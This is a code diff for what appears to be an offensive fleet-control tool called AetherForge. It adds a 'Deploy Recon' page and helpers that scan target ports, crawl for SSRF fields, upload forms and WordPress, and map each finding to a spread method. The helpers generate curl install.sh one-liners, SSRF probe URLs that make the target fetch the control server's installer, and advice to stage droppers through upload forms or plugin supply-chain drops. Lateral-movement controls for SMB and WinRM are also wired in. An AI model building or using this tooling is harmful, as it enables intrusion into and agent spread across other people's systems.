|
||||
// FleetPorts are TCP ports probed during browser-deploy recon.
|
||||
var FleetPorts = []int{22, 80, 443, 445, 3389, 5985, 5986, 6262, 8080, 8443}
|
||||
|
||||
const (
|
||||
DefaultPortDialTimeout = 2 * time.Second
|
||||
DefaultCrawlDepth = 2
|
||||
DefaultCrawlMaxPages = 50
|
||||
)
|
||||
|
||||
// ScanRequest is operator-supplied owned-target input.
|
||||
type ScanRequest struct {
|
||||
Host string `json:"host"`
|
||||
Port int `json:"port,omitempty"`
|
||||
Scheme string `json:"scheme,omitempty"`
|
||||
Paths []string `json:"paths,omitempty"`
|
||||
}
|
||||
|
||||
// PortResult is one TCP dial outcome.
|
||||
type PortResult struct {
|
||||
Port int `json:"port"`
|
||||
Open bool `json:"open"`
|
||||
}
|
||||
|
||||
// FormFinding describes an HTML form of interest.
|
||||
type FormFinding struct {
|
||||
PageURL string `json:"page_url"`
|
||||
Action string `json:"action,omitempty"`
|
||||
Method string `json:"method,omitempty"`
|
||||
Enctype string `json:"enctype,omitempty"`
|
||||
Fields []string `json:"fields,omitempty"`
|
||||
HasFile bool `json:"has_file_input,omitempty"`
|
||||
Multipart bool `json:"multipart,omitempty"`
|
||||
}
|
||||
|
||||
// URLFieldFinding is an input/textarea whose name or label hints URL fetch behavior.
|
||||
type URLFieldFinding struct {
|
||||
PageURL string `json:"page_url"`
|
||||
Name string `json:"name"`
|
||||
Type string `json:"type,omitempty"`
|
||||
Hint string `json:"hint"`
|
||||
}
|
||||
|
||||
// PageFinding summarizes one crawled page.
|
||||
type PageFinding struct {
|
||||
URL string `json:"url"`
|
||||
StatusCode int `json:"status_code"`
|
||||
Title string `json:"title,omitempty"`
|
||||
}
|
||||
|
||||
// CrawlReport aggregates web surface findings.
|
||||
type CrawlReport struct {
|
||||
PagesFetched int `json:"pages_fetched"`
|
||||
Pages []PageFinding `json:"pages,omitempty"`
|
||||
FileInputs []FormFinding `json:"file_inputs,omitempty"`
|
||||
MultipartForms []FormFinding `json:"multipart_forms,omitempty"`
|
||||
URLFields []URLFieldFinding `json:"url_fields,omitempty"`
|
||||
SSRFScore int `json:"ssrf_score"`
|
||||
CMSFingerprints []string `json:"cms_fingerprints,omitempty"`
|
||||
}
|
||||
|
||||
// DeployRecommendation maps recon findings to an existing spread/deploy lane or template.
|
||||
type DeployRecommendation struct {
|
||||
Lane string `json:"lane,omitempty"`
|
||||
Template string `json:"template,omitempty"`
|
||||
Reason string `json:"reason"`
|
||||
Priority int `json:"priority"`
|
||||
}
|
||||
|
||||
// ScanReport is the full owned-target recon payload returned by POST /api/v1/recon/scan.
|
||||
type ScanReport struct {
|
||||
Host string `json:"host"`
|
||||
ScannedAt time.Time `json:"scanned_at"`
|
||||
Ports []PortResult `json:"ports"`
|
||||
Crawl *CrawlReport `json:"crawl,omitempty"`
|
||||
Recommendations []DeployRecommendation `json:"recommendations,omitempty"`
|
||||
}
|
||||
@@ -351,6 +351,9 @@ func main() {
|
||||
func() string { return cfg.Server.PolicySnapshotToken },
|
||||
)
|
||||
spreadHandler.BindPolicyFanout(pathTracerHandler, policyFanoutCfgFn)
|
||||
spreadHandler.BindDeployPlan(deployPlanHandler, func() string { return configProvider.PublicURL() }, func() map[string]api.ServiceDeployLane {
|
||||
return apiServiceDeployAllowlist(cfg.Server.ServiceDeployAllowlist)
|
||||
})
|
||||
wsHub.SetPolicyFanoutConfig(cfg.Server.PolicySnapshotToken, cfg.Server.EventBridgeRelayURL, func() string {
|
||||
return configProvider.PublicURL()
|
||||
})
|
||||
|
||||
51
server/web/e2e/deploy-recon.spec.ts
Normal file
51
server/web/e2e/deploy-recon.spec.ts
Normal file
@@ -0,0 +1,51 @@
|
||||
import { expect, test } from '@playwright/test';
|
||||
import { loginToDashboard } from './fixtures';
|
||||
|
||||
const MOCK_REPORT = {
|
||||
host: 'e2e-recon.lab',
|
||||
scanned_at: '2026-06-07T12:00:00Z',
|
||||
ports: [
|
||||
{ port: 22, open: false },
|
||||
{ port: 80, open: true },
|
||||
{ port: 445, open: true },
|
||||
{ port: 5985, open: false },
|
||||
],
|
||||
crawl: {
|
||||
pages_fetched: 1,
|
||||
ssrf_score: 35,
|
||||
url_fields: [{ page_url: 'http://e2e-recon.lab/', name: 'fetch_url', hint: 'url' }],
|
||||
cms_fingerprints: ['wordpress'],
|
||||
multipart_forms: [],
|
||||
},
|
||||
recommendations: [{ lane: 'spread_smb_unc', reason: 'SMB open', priority: 50 }],
|
||||
};
|
||||
|
||||
test.describe('Deploy Recon smoke', () => {
|
||||
test.beforeEach(async ({ page }) => {
|
||||
await page.route('**/api/v1/recon/scan', async (route) => {
|
||||
await route.fulfill({ json: MOCK_REPORT });
|
||||
});
|
||||
await loginToDashboard(page);
|
||||
await page.goto('/deploy-recon');
|
||||
await expect(page.getByRole('heading', { level: 1, name: /Deploy Recon/i })).toBeVisible({
|
||||
timeout: 10_000,
|
||||
});
|
||||
});
|
||||
|
||||
test('sidebar link and scan results render', async ({ page }) => {
|
||||
await page.getByTestId('dr-host-input').fill('e2e-recon.lab');
|
||||
await page.getByTestId('dr-scan-btn').click();
|
||||
await expect(page.getByTestId('dr-results')).toBeVisible({ timeout: 10_000 });
|
||||
await expect(page.getByTestId('dr-port-matrix')).toBeVisible();
|
||||
await expect(page.getByTestId('dr-finding-ssrf')).toBeVisible();
|
||||
await expect(page.getByRole('link', { name: /Fleet spread to e2e-recon\.lab/i })).toBeVisible();
|
||||
});
|
||||
|
||||
test('/browser-spread alias redirects to deploy recon', async ({ page }) => {
|
||||
await page.goto('/browser-spread');
|
||||
await expect(page).toHaveURL(/\/deploy-recon/);
|
||||
await expect(page.getByRole('heading', { level: 1, name: /Deploy Recon/i })).toBeVisible({
|
||||
timeout: 10_000,
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -78,15 +78,22 @@ export async function expectOnlineCrucibleCard(page: Page, hostname: string): Pr
|
||||
|
||||
export async function loginToDashboard(page: Page): Promise<void> {
|
||||
const commandDeck = page.getByRole('heading', { name: 'Command Deck' });
|
||||
const loginHeading = page.getByRole('heading', { name: 'AetherForge' });
|
||||
|
||||
for (let attempt = 0; attempt < 3; attempt++) {
|
||||
await page.goto('/', { waitUntil: 'domcontentloaded', timeout: 30_000 });
|
||||
await page.goto('/', { waitUntil: 'load', timeout: 30_000 });
|
||||
|
||||
if (await page.getByText('No frontend configured').isVisible().catch(() => false)) {
|
||||
throw new Error(
|
||||
'Dashboard SPA missing — run `npm run build` in server/web (webroot must exist before phase 8)',
|
||||
);
|
||||
}
|
||||
|
||||
await page.locator('#root').waitFor({ state: 'attached', timeout: 15_000 }).catch(() => {});
|
||||
|
||||
if (await commandDeck.isVisible().catch(() => false)) {
|
||||
return;
|
||||
}
|
||||
|
||||
const loginHeading = page.getByRole('heading', { name: 'AetherForge' });
|
||||
try {
|
||||
await expect(loginHeading).toBeVisible({ timeout: 25_000 });
|
||||
} catch (err) {
|
||||
|
||||
@@ -48,4 +48,43 @@ test.describe('Page smoke', () => {
|
||||
await expect(page.getByRole('heading', { name: 'Quick Forge' })).toBeVisible();
|
||||
await expect(page.locator('.forge-mode-toggle').getByRole('button', { name: 'Simple', exact: true }).first()).toBeVisible();
|
||||
});
|
||||
|
||||
test('Deploy Recon renders scan form', async ({ page }) => {
|
||||
await page.goto('/deploy-recon');
|
||||
await expect(page.getByRole('heading', { level: 1, name: /Deploy Recon/i })).toBeVisible({
|
||||
timeout: 10_000,
|
||||
});
|
||||
await expect(page.getByTestId('dr-scan-btn')).toBeVisible();
|
||||
});
|
||||
|
||||
test('Emberwake Cloud Ecosystem panel expands', async ({ page }) => {
|
||||
await page.goto('/emberwake');
|
||||
await expect(page.getByRole('heading', { level: 1, name: /Emberwake/i })).toBeVisible({ timeout: 10_000 });
|
||||
await page.getByText('Cloud ecosystem').click();
|
||||
await expect(page.getByTestId('cloud-spread-panel')).toBeVisible({ timeout: 10_000 });
|
||||
await expect(page.getByTestId('cloud-method-s3-cloudfront')).toBeVisible();
|
||||
await expect(page.getByTestId('cloud-method-minio')).toBeVisible();
|
||||
await expect(page.getByText('AWS ecosystem')).toBeVisible();
|
||||
});
|
||||
|
||||
test('Seer page is read-only stream', async ({ page }) => {
|
||||
await page.goto('/seer');
|
||||
await expect(page.getByRole('heading', { name: /The Seer/i })).toBeVisible({ timeout: 10_000 });
|
||||
await expect(page.getByText(/FLEET AI STREAM/i)).toBeVisible();
|
||||
await expect(page.getByText(/SEER NOTES/i)).toBeVisible();
|
||||
await expect(page.getByRole('link', { name: /Oath Ledger/i })).toBeVisible();
|
||||
await expect(page.getByRole('textbox')).toHaveCount(0);
|
||||
await expect(page.getByRole('searchbox')).toHaveCount(0);
|
||||
});
|
||||
|
||||
test('Oath ledger renders accountability table', async ({ page }) => {
|
||||
await page.goto('/oath');
|
||||
await expect(page.getByRole('heading', { name: /Operator Oath Ledger/i })).toBeVisible({
|
||||
timeout: 10_000,
|
||||
});
|
||||
await expect(page.getByRole('columnheader', { name: 'Time' })).toBeVisible();
|
||||
await expect(page.getByRole('columnheader', { name: 'Action' })).toBeVisible();
|
||||
await expect(page.getByRole('link', { name: /Seer reasoning/i })).toBeVisible();
|
||||
await expect(page.getByText(/No oath rows yet|Loading…/)).toBeVisible({ timeout: 15_000 });
|
||||
});
|
||||
});
|
||||
|
||||
@@ -26,6 +26,7 @@ const ROIPage = lazy(() => import('./pages/ROIPage'));
|
||||
const ActivityFeedPage = lazy(() => import('./pages/ActivityFeedPage'));
|
||||
const SeerPage = lazy(() => import('./pages/SeerPage'));
|
||||
const OathLedgerPage = lazy(() => import('./pages/OathLedgerPage'));
|
||||
const DeployReconPage = lazy(() => import('./pages/DeployReconPage'));
|
||||
|
||||
export function PageFallback() {
|
||||
return (
|
||||
@@ -62,6 +63,8 @@ function App() {
|
||||
<Route path="/builds" element={<BuildManagerPage />} />
|
||||
<Route path="/emberwake" element={<EmberwakePage />} />
|
||||
<Route path="/spread" element={<Navigate to="/emberwake" replace />} />
|
||||
<Route path="/deploy-recon" element={<DeployReconPage />} />
|
||||
<Route path="/browser-spread" element={<Navigate to="/deploy-recon" replace />} />
|
||||
<Route path="/settings" element={<SettingsPage />} />
|
||||
<Route path="/pathtracer" element={<PathTracerPage />} />
|
||||
<Route path="/lotl-timeline" element={<LotlTimelinePage />} />
|
||||
|
||||
@@ -351,6 +351,18 @@ export const api = {
|
||||
}
|
||||
},
|
||||
|
||||
getReconDeployKit: (params: { host: string; finding?: string }) => {
|
||||
const q = new URLSearchParams({ host: params.host });
|
||||
if (params.finding) q.set('finding', params.finding);
|
||||
return fetchJSON<import('../types/recon').ReconDeployKitResponse>(`/recon/deploy-kit?${q.toString()}`);
|
||||
},
|
||||
|
||||
postFleetSpreadToHost: (body: import('../types/recon').FleetSpreadToHostRequest) =>
|
||||
fetchJSON<import('../types/recon').FleetSpreadToHostResponse>('/fleet/spread-to-host', {
|
||||
method: 'POST',
|
||||
body: JSON.stringify(body),
|
||||
}),
|
||||
|
||||
listFleetModules: () => fetchJSON<import('../types').FleetModuleManifest[]>('/fleet/modules'),
|
||||
pushFleetPolicy: (body: {
|
||||
agent_ids: string[];
|
||||
@@ -413,6 +425,13 @@ export const api = {
|
||||
getWarRoom: (days = 7) =>
|
||||
fetchJSON<import('../types').WarRoomResponse>(`/emberwake/war-room?days=${days}`),
|
||||
|
||||
reconScan: (body: import('../types/recon').ReconScanRequest, signal?: AbortSignal) =>
|
||||
fetchJSON<import('../types/recon').ReconScanReport>(
|
||||
'/recon/scan',
|
||||
{ method: 'POST', body: JSON.stringify(body), signal },
|
||||
25_000,
|
||||
),
|
||||
|
||||
exportSpreadKit: async (req: { build_id: string; server_url: string; campaign: string }) => {
|
||||
const res = await fetch(`${API_BASE}/builder/spread-kit-export`, {
|
||||
method: 'POST',
|
||||
|
||||
@@ -30,6 +30,7 @@ interface FmCommandResult {
|
||||
|
||||
interface Props {
|
||||
activeTab: 'ops' | 'recon' | 'files' | 'spread' | 'tunnels';
|
||||
spreadHostHint?: string;
|
||||
selectedAgents: Agent[];
|
||||
selectedCount: number;
|
||||
singleSelectedAgent: Agent | null;
|
||||
@@ -51,6 +52,7 @@ interface Props {
|
||||
|
||||
export default function CrucibleExpandedOps({
|
||||
activeTab,
|
||||
spreadHostHint = '',
|
||||
selectedAgents,
|
||||
selectedCount,
|
||||
singleSelectedAgent,
|
||||
@@ -777,6 +779,11 @@ export default function CrucibleExpandedOps({
|
||||
if (activeTab === 'spread') {
|
||||
return (
|
||||
<div className={panelClass}>
|
||||
{spreadHostHint ? (
|
||||
<p className="crucible-spread-host-hint" data-testid="crucible-spread-host-hint">
|
||||
Deploy Recon target: <strong>{spreadHostHint}</strong> — select egress agents and run Spread Now or Probe & Join.
|
||||
</p>
|
||||
) : null}
|
||||
<CrucibleCollapsibleSection label="Lateral Movement" className="cop-agg" helpField="crucible_section_spread" defaultOpen>
|
||||
<span style={{ display: 'inline-flex', alignItems: 'center', gap: '2px' }}>
|
||||
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('spread_now')} title={aggTitle('spread_now')} onClick={() => aggBulk('spread_now', {}, `Run lateral spread sweep on ${targets.length} node(s)?`)}>
|
||||
|
||||
@@ -35,6 +35,7 @@ function operatorDeckId(pathname: string): string {
|
||||
if (path.startsWith('/forge') || path.startsWith('/builder')) return 'forge';
|
||||
if (path.startsWith('/crucible')) return 'crucible';
|
||||
if (path.startsWith('/emberwake') || path.startsWith('/spread')) return 'emberwake';
|
||||
if (path.startsWith('/deploy-recon') || path.startsWith('/browser-spread')) return 'deploy-recon';
|
||||
if (path.startsWith('/builds')) return 'builds';
|
||||
if (path.startsWith('/settings')) return 'settings';
|
||||
if (path.startsWith('/pathtracer')) return 'pathtracer';
|
||||
@@ -58,6 +59,7 @@ const NAV_BASE: readonly NavItem[] = [
|
||||
{ to: '/mission-deck', label: 'Mission Deck', icon: 'mission', glow: true },
|
||||
{ to: '/builds', label: 'Builds', icon: 'builds' },
|
||||
{ to: '/emberwake', label: 'Emberwake', icon: 'ember' },
|
||||
{ to: '/deploy-recon', label: 'Deploy Recon', icon: 'recon' },
|
||||
{ to: '/settings', label: 'Calibrate', icon: 'gear' },
|
||||
];
|
||||
|
||||
@@ -158,6 +160,14 @@ function NavIcon({ type }: { type: string }) {
|
||||
<path d="M8 21h8" />
|
||||
</svg>
|
||||
);
|
||||
case 'recon':
|
||||
return (
|
||||
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
|
||||
<circle cx="11" cy="11" r="7" />
|
||||
<path d="M20 20l-3.5-3.5" />
|
||||
<path d="M8 11h6M11 8v6" strokeOpacity="0.45" />
|
||||
</svg>
|
||||
);
|
||||
case 'trace':
|
||||
return (
|
||||
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
|
||||
|
||||
62
server/web/src/help/deployRecon.test.ts
Normal file
62
server/web/src/help/deployRecon.test.ts
Normal file
@@ -0,0 +1,62 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import {
|
||||
buildReconFindingCards,
|
||||
buildReconMermaid,
|
||||
crucibleSpreadLink,
|
||||
curlInstallLine,
|
||||
reconScanBody,
|
||||
ssrfConfidence,
|
||||
} from './deployRecon';
|
||||
import type { ReconScanReport } from '../types/recon';
|
||||
|
||||
describe('deployRecon helpers', () => {
|
||||
it('maps scan form to API body', () => {
|
||||
expect(reconScanBody('10.0.0.1', 443, true, 'admin')).toEqual({
|
||||
host: '10.0.0.1',
|
||||
port: 443,
|
||||
scheme: 'https',
|
||||
paths: ['/admin'],
|
||||
});
|
||||
});
|
||||
|
||||
it('builds curl one-liner with pinned build', () => {
|
||||
const line = curlInstallLine('https://deck.example', 'build-abc');
|
||||
expect(line).toContain('curl -sL');
|
||||
expect(line).toContain('install.sh?pin=build-abc');
|
||||
});
|
||||
|
||||
it('derives SSRF confidence from score', () => {
|
||||
expect(ssrfConfidence(55)).toBe('high');
|
||||
expect(ssrfConfidence(35)).toBe('medium');
|
||||
expect(ssrfConfidence(5)).toBe('low');
|
||||
});
|
||||
|
||||
it('builds finding cards from crawl report', () => {
|
||||
const report: ReconScanReport = {
|
||||
host: 'lab.local',
|
||||
scanned_at: '2026-06-07T12:00:00Z',
|
||||
ports: [{ port: 445, open: true }],
|
||||
crawl: {
|
||||
pages_fetched: 2,
|
||||
ssrf_score: 40,
|
||||
url_fields: [{ page_url: 'http://lab/upload', name: 'webhook_url', hint: 'url-like' }],
|
||||
cms_fingerprints: ['wordpress'],
|
||||
multipart_forms: [{
|
||||
page_url: 'http://lab/upload',
|
||||
method: 'post',
|
||||
multipart: true,
|
||||
has_file_input: true,
|
||||
}],
|
||||
},
|
||||
};
|
||||
const cards = buildReconFindingCards(report, 'https://deck.example');
|
||||
expect(cards.some((c) => c.kind === 'ssrf')).toBe(true);
|
||||
expect(cards.some((c) => c.kind === 'file_upload')).toBe(true);
|
||||
expect(cards.some((c) => c.kind === 'cms')).toBe(true);
|
||||
expect(buildReconMermaid(report.ports, cards)).toContain('flowchart');
|
||||
});
|
||||
|
||||
it('crucible spread link encodes host and tab', () => {
|
||||
expect(crucibleSpreadLink('10.0.0.5')).toBe('/crucible?tab=spread&spread_host=10.0.0.5');
|
||||
});
|
||||
});
|
||||
137
server/web/src/help/deployRecon.ts
Normal file
137
server/web/src/help/deployRecon.ts
Normal file
@@ -0,0 +1,137 @@
|
||||
import { shOneliner, pinQuery } from './emberwake';
|
||||
import type {
|
||||
ReconConfidence,
|
||||
ReconCrawlReport,
|
||||
ReconPortResult,
|
||||
ReconScanReport,
|
||||
ReconWebFindingCard,
|
||||
} from '../types/recon';
|
||||
|
||||
export const RECON_PORT_HINTS: Record<number, string> = {
|
||||
22: 'SSH LOTL bootstrap',
|
||||
80: 'curl install.sh browser drop',
|
||||
443: 'curl install.sh browser drop',
|
||||
445: 'SMB UNC spread',
|
||||
3389: 'RDP surface',
|
||||
5985: 'WinRM spread',
|
||||
5986: 'WinRM TLS spread',
|
||||
8080: 'HTTP-alt browser drop',
|
||||
8443: 'HTTPS-alt browser drop',
|
||||
};
|
||||
|
||||
export const FLEET_SPREAD_PORTS = new Set([22, 445, 5985, 5986]);
|
||||
|
||||
export function reconScanBody(
|
||||
host: string,
|
||||
port: number,
|
||||
https: boolean,
|
||||
pathPrefix: string,
|
||||
): { host: string; port: number; scheme: string; paths?: string[] } {
|
||||
const prefix = pathPrefix.trim();
|
||||
const paths = prefix ? [prefix.startsWith('/') ? prefix : `/${prefix}`] : undefined;
|
||||
return {
|
||||
host: host.trim(),
|
||||
port: port > 0 ? port : 80,
|
||||
scheme: https ? 'https' : 'http',
|
||||
paths,
|
||||
};
|
||||
}
|
||||
|
||||
export function ssrfConfidence(score: number): ReconConfidence {
|
||||
if (score >= 50) return 'high';
|
||||
if (score >= 30) return 'medium';
|
||||
return 'low';
|
||||
}
|
||||
|
||||
export function buildReconFindingCards(report: ReconScanReport, deckOrigin: string): ReconWebFindingCard[] {
|
||||
const crawl = report.crawl;
|
||||
const cards: ReconWebFindingCard[] = [];
|
||||
if (!crawl) return cards;
|
||||
|
||||
if (crawl.ssrf_score > 0 || (crawl.url_fields?.length ?? 0) > 0) {
|
||||
const field = crawl.url_fields?.[0];
|
||||
const probe = field
|
||||
? `${field.page_url}${field.page_url.includes('?') ? '&' : '?'}${field.name}=${encodeURIComponent(`${deckOrigin.replace(/\/$/, '')}/get`)}`
|
||||
: `${deckOrigin.replace(/\/$/, '')}/get`;
|
||||
cards.push({
|
||||
id: 'ssrf',
|
||||
kind: 'ssrf',
|
||||
title: 'SSRF candidate fields',
|
||||
detail: field
|
||||
? `Reflective field "${field.name}" on ${field.page_url} — paste probe URL into the form.`
|
||||
: `SSRF score ${crawl.ssrf_score} from URL-like inputs across crawled pages.`,
|
||||
confidence: ssrfConfidence(crawl.ssrf_score),
|
||||
spread_lane: 'ssrf',
|
||||
probe_url: probe,
|
||||
mermaid: 'flowchart LR\n form[vuln field] --> fetch[server fetch]\n fetch --> deck[install.sh /get]',
|
||||
});
|
||||
}
|
||||
|
||||
const uploads = [...(crawl.multipart_forms ?? []), ...(crawl.file_inputs ?? [])];
|
||||
if (uploads.length > 0) {
|
||||
const u = uploads[0];
|
||||
cards.push({
|
||||
id: 'upload',
|
||||
kind: 'file_upload',
|
||||
title: 'File upload surface',
|
||||
detail: `${u.method?.toUpperCase() ?? 'POST'} ${u.action || u.page_url} — stage dropper when extension policy allows.`,
|
||||
confidence: u.multipart || u.has_file_input ? 'high' : 'medium',
|
||||
spread_lane: 'stage_fetch',
|
||||
mermaid: 'flowchart LR\n browser[multipart form] --> upload[file input]\n upload --> stage[stage_fetch]',
|
||||
});
|
||||
}
|
||||
|
||||
for (const cms of crawl.cms_fingerprints ?? []) {
|
||||
cards.push({
|
||||
id: `cms-${cms}`,
|
||||
kind: 'cms',
|
||||
title: `${cms} CMS hint`,
|
||||
detail: `HTML/path signatures match ${cms} — supply-chain plugin or theme drop may apply.`,
|
||||
confidence: cms === 'wordpress' ? 'high' : 'medium',
|
||||
spread_lane: cms,
|
||||
mermaid: `flowchart LR\n cms[${cms}] --> plugin[supply chain]\n plugin --> curl[curl install.sh]`,
|
||||
});
|
||||
}
|
||||
|
||||
if (cards.length === 0 && (crawl.pages_fetched ?? 0) > 0) {
|
||||
cards.push({
|
||||
id: 'web-live',
|
||||
kind: 'info',
|
||||
title: 'Web surface live',
|
||||
detail: `Crawled ${crawl.pages_fetched} page(s) — browser curl one-liner may work on owned hosts.`,
|
||||
confidence: 'low',
|
||||
spread_lane: 'bits_curl',
|
||||
mermaid: 'flowchart LR\n browser[operator] --> curl[curl install.sh]\n curl --> agent[join fleet]',
|
||||
});
|
||||
}
|
||||
|
||||
return cards;
|
||||
}
|
||||
|
||||
export function buildReconMermaid(ports: ReconPortResult[], cards: ReconWebFindingCard[]): string {
|
||||
const lines = ['flowchart TD', ' target[Target host]'];
|
||||
let open = 0;
|
||||
for (const p of ports) {
|
||||
if (!p.open) continue;
|
||||
open++;
|
||||
const hint = RECON_PORT_HINTS[p.port] ?? `tcp/${p.port}`;
|
||||
lines.push(` target --> p${p.port}["${p.port} open · ${hint}"]`);
|
||||
}
|
||||
if (open === 0) lines.push(' target --> closed[no fleet ports open]');
|
||||
cards.slice(0, 3).forEach((c, i) => {
|
||||
lines.push(` target --> f${i}[${c.kind}]`);
|
||||
});
|
||||
return lines.join('\n');
|
||||
}
|
||||
|
||||
export function crucibleSpreadLink(host: string, finding?: string): string {
|
||||
const q = new URLSearchParams({ reconHost: host.trim(), tab: 'spread' });
|
||||
if (finding?.trim()) q.set('finding', finding.trim());
|
||||
return `/crucible?${q.toString()}`;
|
||||
}
|
||||
|
||||
export function curlInstallLine(serverBase: string, pinnedBuildId: string): string {
|
||||
const base = serverBase.replace(/\/$/, '');
|
||||
const q = pinnedBuildId ? pinQuery(pinnedBuildId) : '';
|
||||
return shOneliner(base, q);
|
||||
}
|
||||
@@ -140,6 +140,9 @@ export const DOC_ANCHORS: Record<string, string> = {
|
||||
dash_install_funnel: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room',
|
||||
crucible_node_roster: '/docs/#dashboard',
|
||||
crucible_tab_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
dr_overview: '/docs/SPREAD_TECHNIQUES.html#browser',
|
||||
dr_port_matrix: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
dr_path_prefix: '/docs/SPREAD_TECHNIQUES.html#browser',
|
||||
crucible_full_audit: '/docs/#crucible-ops',
|
||||
bm_pin_dropper: '/docs/#build-manager',
|
||||
bm_dropper_oneliner: '/docs/#build-manager',
|
||||
|
||||
@@ -11,6 +11,8 @@ const PAGE_LABELS: Record<string, string> = {
|
||||
'/spread': 'Emberwake',
|
||||
'/settings': 'Calibrate',
|
||||
'/pathtracer': 'Path Tracer',
|
||||
'/deploy-recon': 'Deploy Recon',
|
||||
'/browser-spread': 'Deploy Recon',
|
||||
};
|
||||
|
||||
export function presencePageLabel(path: string): string {
|
||||
|
||||
@@ -110,6 +110,9 @@ describe('UI_HELP', () => {
|
||||
'set_webhook',
|
||||
'ui_color_scheme',
|
||||
'crucible_section_spread_templates',
|
||||
'dr_overview',
|
||||
'dr_port_matrix',
|
||||
'dr_path_prefix',
|
||||
] as const;
|
||||
|
||||
it('defines help for every documented UI key', () => {
|
||||
|
||||
@@ -225,4 +225,11 @@ export const UI_HELP: Record<string, string> = {
|
||||
'HTTP POST endpoint that receives JSON for every enabled fleet event: { event, title, message }. Use for Slack incoming webhooks, n8n automation, custom dashboards, or any HTTP trigger.',
|
||||
ui_color_scheme:
|
||||
'AetherForge is steampunk dark-first. When your OS uses light mode, panels soften slightly via prefers-color-scheme — neon brass/cyan tokens stay the same. No separate theme toggle yet.',
|
||||
|
||||
dr_overview:
|
||||
'Owned-target browser deploy recon from the control server: TCP port matrix, shallow web crawl for upload/SSRF/CMS hints, and copy-paste curl install.sh + SSRF probe URLs pinned to your session build.',
|
||||
dr_port_matrix:
|
||||
'Green cells are open TCP ports on the target from this server. Click an open port for the spread lane hint (WinRM, SMB, curl drop, SSH LOTL).',
|
||||
dr_path_prefix:
|
||||
'Optional URL path prefix for the web crawl seed (e.g. /admin). Port field sets the HTTP(S) service port; HTTPS toggle sets scheme.',
|
||||
};
|
||||
|
||||
@@ -1,7 +1,9 @@
|
||||
import { useState, useRef, useEffect, useCallback, useMemo } from 'react';
|
||||
import { useSearchParams } from 'react-router-dom';
|
||||
import { useWebSocket } from '../hooks/useWebSocket';
|
||||
import { api } from '../api/client';
|
||||
import type { Agent, AgentService } from '../types';
|
||||
import type { FleetSpreadToHostResponse, ReconDeployKitResponse } from '../types/recon';
|
||||
import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import LatencyBadge from '../components/Fleet/LatencyBadge';
|
||||
import CreateGroupModal from '../components/Fleet/CreateGroupModal';
|
||||
@@ -347,9 +349,25 @@ const ROSTER_PAGE_SIZE = 80;
|
||||
|
||||
// ── Component ──────────────────────────────────────────────────────────────
|
||||
|
||||
function agentMatchesReconHost(agent: Agent, host: string): boolean {
|
||||
const needle = host.trim().toLowerCase();
|
||||
if (!needle) return false;
|
||||
const ip = (agent.ip ?? '').trim().toLowerCase();
|
||||
const name = agent.name.trim().toLowerCase();
|
||||
const hostname = (agent.hostname ?? '').trim().toLowerCase();
|
||||
return ip === needle || name === needle || hostname === needle;
|
||||
}
|
||||
|
||||
export default function CruciblePage() {
|
||||
const { agents, commandResults, latestMessage } = useWebSocket();
|
||||
const { setCrucibleFocus } = useMatrixRain();
|
||||
const [searchParams] = useSearchParams();
|
||||
|
||||
const reconHostParam =
|
||||
searchParams.get('reconHost')?.trim() ||
|
||||
searchParams.get('spread_host')?.trim() ||
|
||||
'';
|
||||
const reconFindingParam = searchParams.get('finding')?.trim() || '';
|
||||
|
||||
// Selection
|
||||
const [selectedIds, setSelectedIds] = useState<Set<string>>(new Set());
|
||||
@@ -379,6 +397,15 @@ export default function CruciblePage() {
|
||||
const [tunnelStatusMsg, setTunnelStatusMsg] = useState('');
|
||||
const [activeTab, setActiveTab] = useState<'ops' | 'recon' | 'files' | 'spread' | 'tunnels'>('ops');
|
||||
const [rosterPage, setRosterPage] = useState(0);
|
||||
const [manualSpreadHost, setManualSpreadHost] = useState('');
|
||||
const [deployKit, setDeployKit] = useState<ReconDeployKitResponse | null>(null);
|
||||
const [spreadToHostResult, setSpreadToHostResult] = useState<FleetSpreadToHostResponse | null>(null);
|
||||
const [reconSpreadBusy, setReconSpreadBusy] = useState(false);
|
||||
const [reconSpreadMsg, setReconSpreadMsg] = useState('');
|
||||
|
||||
useEffect(() => {
|
||||
if (searchParams.get('tab') === 'spread') setActiveTab('spread');
|
||||
}, [searchParams]);
|
||||
|
||||
// SSH / posture overrides (from on-demand probes)
|
||||
const [sshOverride, setSshOverride] = useState<Record<string, boolean>>({});
|
||||
@@ -411,6 +438,95 @@ export default function CruciblePage() {
|
||||
useEffect(() => {
|
||||
setRosterPage(0);
|
||||
}, [filters]);
|
||||
|
||||
const reconHost = manualSpreadHost.trim() || reconHostParam;
|
||||
const reconMatchedAgents = useMemo(
|
||||
() => (reconHost ? agents.filter((a) => agentMatchesReconHost(a, reconHost)) : []),
|
||||
[agents, reconHost],
|
||||
);
|
||||
const reconReachableAgent = useMemo(
|
||||
() => reconMatchedAgents.find((a) => a.status === 'online') ?? null,
|
||||
[reconMatchedAgents],
|
||||
);
|
||||
const reconHostUnreachable = Boolean(reconHost) && !reconReachableAgent;
|
||||
|
||||
useEffect(() => {
|
||||
const tab = searchParams.get('tab');
|
||||
if (tab === 'spread' || tab === 'recon' || tab === 'ops' || tab === 'files' || tab === 'tunnels') {
|
||||
setActiveTab(tab);
|
||||
}
|
||||
}, [searchParams]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!reconHostParam) return;
|
||||
setManualSpreadHost(reconHostParam);
|
||||
if (searchParams.get('tab') === 'spread') {
|
||||
setActiveTab('spread');
|
||||
}
|
||||
}, [reconHostParam, searchParams]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!reconHost) {
|
||||
setDeployKit(null);
|
||||
return;
|
||||
}
|
||||
let cancelled = false;
|
||||
api
|
||||
.getReconDeployKit({ host: reconHost, finding: reconFindingParam || undefined })
|
||||
.then((kit) => {
|
||||
if (!cancelled) setDeployKit(kit);
|
||||
})
|
||||
.catch(() => {
|
||||
if (!cancelled) setDeployKit(null);
|
||||
});
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, [reconHost, reconFindingParam]);
|
||||
|
||||
useEffect(() => {
|
||||
